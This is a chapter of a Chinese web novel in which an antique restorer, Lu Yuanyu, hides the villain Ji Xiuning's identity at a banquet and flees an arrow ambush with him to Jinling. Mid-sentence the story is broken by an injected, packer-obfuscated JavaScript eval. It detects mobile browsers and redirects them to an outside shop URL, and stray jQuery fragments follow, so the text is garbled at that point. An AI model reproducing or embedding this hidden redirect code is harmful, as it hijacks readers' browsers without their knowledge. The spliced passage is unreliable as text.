26. 第二十六章·败露

作品:《阻止阴湿反派死亡后

    路元玉只好上前两步,抿抿唇道:“诸位所争论的,便是这龙口的稻穗该不该补。所以大家忽视了此炉之魂,不仅在于其遗失的稻穗,还在于天地人神之气。


    修复之责,主要在稳固其气,就是要修补其断裂处的裂缝,让它能长久存放于世,再清洁内膛,让熏香得以复燃。到那时,烟雾自空口而出,不用刻意修补,自然有了活穗。”


    等她说完,众人都安静了一瞬,顾老赏析片刻,忽然笑了起来。


    “好!好!想不到你竟有如此见地!”


    其实自从拿到这个炉子,他心里就在想着该怎么施行修补之法,但就像他们说的那样,他想了很多方法,但感觉都差了点什么,不尽其意,今日听这李姑娘一言,使他茅塞顿开。


    “是啊,说的真好。”


    “早就听闻李姑娘见地不俗,上次……虽已领教过,但今天更是让我等大开眼界!”


    甘凌笑着向路元玉拱了拱手,似乎彻底被路元玉说服。


    路元玉并没有什么得意的神情,这炉子她早在现代的时候就见过,这番言论也不是她一个人说出来的,而是经过大家长达一个月的会议探讨出来的。


    她微微颔首,退后几步,将场面主导权交了回去。


    她只是这么一说而已,当时这个提议遭受了众多人的反对,有人说既然修补,修一办不成体统,说什么也要弄个假的放上去。


    如今路元玉也不觉得他们会轻易接受她的想法。


    却没想到顾老很满意,他得到了他想要的答案,又和众人一同说了一番,就将这熏炉让人拿了下去,开始进行第二项——试春笔。


    等笔墨上来的空隙,顾老突然对着路元玉道:“李姑娘,你身边这位小厮,倒很沉稳。是家生子吗?跟了你多久?”


    路元玉心里一惊——顾老还是注意到了。


    但她也不能将季修宁团吧团吧藏起来,只好站起来回道:“不是家生子,只是我前几日从市面上买来的,保护我的安全。顾老是有什么事吗?”


    顾老:“只是见他气度不凡,便想问问。他可有姓名?”


    见身后的季修宁好想要说话,路元玉连忙道:“并无姓名,平日里我也只叫他小黑。”


    顾老:“小黑?”


    路元玉:“对,因为他经常穿着一身黑色衣服,而且从不显露真容,脾气又古怪,所以我唤他小黑。”


    顾老点点头,没再细问。


    路元玉松了口气,却感觉到有人正在拽自己的衣袖。


    她回过头,见季修宁正不满地盯着她。


    路元玉佯怒地皱了下眉,低低嘱咐道:“别闹。”


    她以为他们的动作很隐秘,却不知道她们私下里的小动作,都被顾老看在了眼里。


    春宴结束后,路元玉二人离开,马车上,季修宁冷着脸问:“小黑是什么意思?”


    这段时间他对她是太纵容了,她竟敢给他取这种名字。


    路元玉笑了一下,凑近他身边。


    他的面具已经被摘下,露出俊秀的面庞。


    “就是字面上的意思呀,你不喜欢?”


    季修宁桃花眼危险地眯了起来,“喜欢?”


    路元玉见状,不仅不觉得害怕,反而觉得他故意生气的样子特别可爱,于是大着胆子上手摸了一下。


    “对呀,我觉得很符合你的形象,以后就叫你小黑怎么样?”


    季修宁冷漠的神情迅速退却,眼底微震,猛地向后一退,不可置信地看着路元玉。


    “大胆,你竟敢!”


    路元玉被他这剧烈的反应弄得有点懵,看不出来季修宁这小子还听纯情。


    她更是来了兴趣。


    她带着笑意挑眉,“嗯?我怎么?”


    季修宁面上泛热,耳根泛红,他不知道,他是特别容易脸红的体质。


    他没想到,路元玉胆子竟然这么大,他故意板起脸她都不害怕了,一时间心里不只是什么感觉,有点涨涨的。


    其实被叫小黑他没什么介意的,毕竟以前被叫过更难听更过分的名字,他故意生气,只是想知道为什么,她是怎么想的。


    但不仅没听到原因,还反被她调戏了一番,换做以前,他早就把对方的手砍断了。


    意识到这一点,季修宁心里更加震惊。


    身体的反应告诉他,他现在很生气,但要气得将她的手砍下来,竟然还有点不愿意。


    这两种激烈的情绪在胸腔内剧烈翻滚,他呼吸急促,用力闭了闭眼,强迫自己镇定下来。


    “别给我耍小心思,”他声音沙哑警告道,“顾老到底是什么身份?你为何如此怕他?”


    在这场春宴之前,他很生气路元玉背叛了他,但一场春宴下来,他也看出了点不同寻常。


    上次路元玉参加他们的鉴赏宴,他没有跟在她身边,只是远远藏身观察,他还以为她和他们相谈甚欢。


    但今天看来那些不过都是逢场作戏。


    他能感觉到,她并不被他们所接纳,只是那个顾老对她欣赏有加而已。


    而他的愤怒来源——甘凌,似乎对她也只是单向感兴趣,路元玉并没有和他成为队友的想法。


    但——路元玉为何要在别人面前伪装他的身份?


    她一定不是心血来潮,一定有什么目的,只是这其中的原因,他怎么也想不到。


    路元玉见他反应这么大,一时间也不敢乱动了,但嘴上仍不饶人。


    “顾老,顾承嗣,你查不到吗?”


    “我查到的信息就是明面上那些,你是如何得知其它信息的?”


    闻言,路元玉心神一僵。


    糟糕,这段时间以来季修宁对她都格外的好相处,她说什么就是什么,让他一时间对他的防备心大大下降,此时他这么一说,路元玉才猛然记起,他可是大反派季修宁!


    路元玉往旁边坐了坐,视线看向旁边:“我不知道,我就是觉得他很危险。我觉得如果让他知道了你的真实身份,我们一定会很麻烦的!”


    正说着,外面忽然传来了破空声——


    “嗖嗖嗖”几声想起,就有数支箭钉在他们马车上,有的直接穿过帘子,定在路元玉身后的车厢上。


    两人对视一眼,幸好方才季修宁推了她一把,否则她现在肯定就死了。


    路元玉眼神一凛,“不好,可能是、顾老,我们不能再在这里待下去了。”


    季修宁眉眼凌厉,“那我们现在就出发去金陵。”


    -


    宴会一结束,顾老派出去查探消息的暗探就回来了,这个暗探不禁将季修宁查得明明白白,还将路元玉的底细也都查了出来。


    顾老一边听着暗探的汇报,手里一边将刚写好的祝词揉碎了。


    “季修宁……他竟然还没死,真实让我意外,不过,他竟与之前大为不同。”顾老缓缓站起身,在原地踱了几步,看向原本路元玉的位置。


    “怪不得小小年纪便有如此见地,原来是路公的女儿,没想到竟能被她逃出来。”


    暗探跪在地上,“顾老,那我们怎么办?”


    顾老沉吟一番,道:“季修宁还是不能留,至于这个路元玉……我写一封信,你去交给她。”


    顾承嗣惜才爱才,不管那人是什么身份,只要有被他看重的地方,他都会培养。


    路元玉在他看来是个好苗子,如果能好好培养,假以时日,一定能将他们的文化更好地传承下去。


    但是她毕竟年纪还小,万一被有心人利用了未免太可惜,他要写信提醒一番。


    -


    这边路元玉和季修宁二人一边逃,一边来到了码


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095923|193966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头,然而身后那些人还是穷追不舍,现在没有去往金陵的船只,他们只好找个地方躲了起来。


    然而如果他们能躲躲得过,季修宁当初就不会落得那么惨的下场。


    慢慢的他们身上开始负伤,季修宁有些体力不支。


    他们藏在一个废弃的仓库里,路元玉拿出简易医疗箱给他包扎伤口。


    季修宁脸色有些苍白,额间落下几滴汗珠,不细看根本看不出来他受伤了。


    “是他们?”


    季修宁气息微弱,两人挨得有些近,路元玉不着痕迹挪了挪,无声点了点头。


    他眼神微暗,“因为我?”


    路元玉将伤口包扎好,看向他,“对,不过你也别太自责,反正这件事早晚都会发生的。”


    季修宁挑眉:“我自责?”


    路元玉看着他,眼神充满疑问,“那不然呢?”


    季修宁不语,片刻后忽然笑了一下,眼中透露出浓浓的占有欲,“我只是觉得,第一次和别人一起逃难,感觉还不错。”


    路元玉:……这是什么调情新方式吗?


    路元玉没忍住翻了个白眼,季修宁忽然攥住她的手腕,猛地将她往自己这边一拉。


    下一秒,一只箭“嗖”的一声,插在了路元玉身后。


    路元玉有些后怕地从他怀中坐起来,两人的目光一同落在那支箭上。


    “这是……纸条?”


    两人对视一眼,路元玉上前将箭拔下来,拿到纸条拆开来看。


    “远离不祥之人可保平安。”


    纸条上除了这一句话,再没有其他东西。


    路元玉已经猜出来这是顾老好心给她的警告。


    顾老现在还不知道她们是串通好的关系,还以为她是被季修宁骗了,所以才带着他。


    路元玉眼中闪过一丝复杂。


    然而季修宁在看到这纸条的一瞬间,眼中却布满一层寒霜。


    “他是什么意思,让你离开我?”他阴沉沉的眸子死死盯着路元玉,仿佛只要她点一下头,他就要立刻将她杀死。


    然而跟季修宁在一起待了这么长时间,路元玉大概也摸清了季修宁的性子。


    他毕竟是反派,从小到现在见惯了背叛,也经历了足够多的背叛,他只是怕自己也背叛他而已。


    思及此,路元玉拍了拍他肩膀,安抚道:“放心,我不会离开的,你忘了当初我跟你说过什么了?”


    季修宁眼神微颤,想起了那天晚上他带着她离开伏波驿时,她说她们能够互相感应对方的生命状态,她们是天生注定的缘分。


    当时他觉得自己被骗了,一怒之下想掐死她,然而到最后关头,不知为什么,他感觉心间一颤,最后放了她。


    当时感觉没什么,现在再想起来那不就是意味着他们会同生共死吗?


    季修宁默默重复了一遍“同生共死”这四个字,感觉心间溢起一抹奇异的感受。


    然而不等他多想,他的手就被路元玉拉起,微凉的触感从他掌心传来,季修宁不自觉握紧。


    路元玉有些惊讶,但没拒绝,而是起身带着他走了出去,“他们好像走了,我们也赶紧离开。”


    不远处的船只慢慢停靠在岸,路元玉也顾不上这到底是开往哪里的船了,二话不说就拉着他跑了上去。


    当前紧要关头是离开这里,离开顾老的势力范围,如果到了别的地方,大不了她们再重新买票去金陵就是了。


    不过路元玉二人很幸运,正好这条船就是去往金陵的,于是两人找了个地方安顿下来,终于好好歇了一下。


    只不过两人随身并没有带多少银子,买了两人的船票后所剩无几。在外她们又不愿意抛头露面修古董,只好在船上帮忙做些杂物,换些银子。


    半个月后,两人终于到了金陵。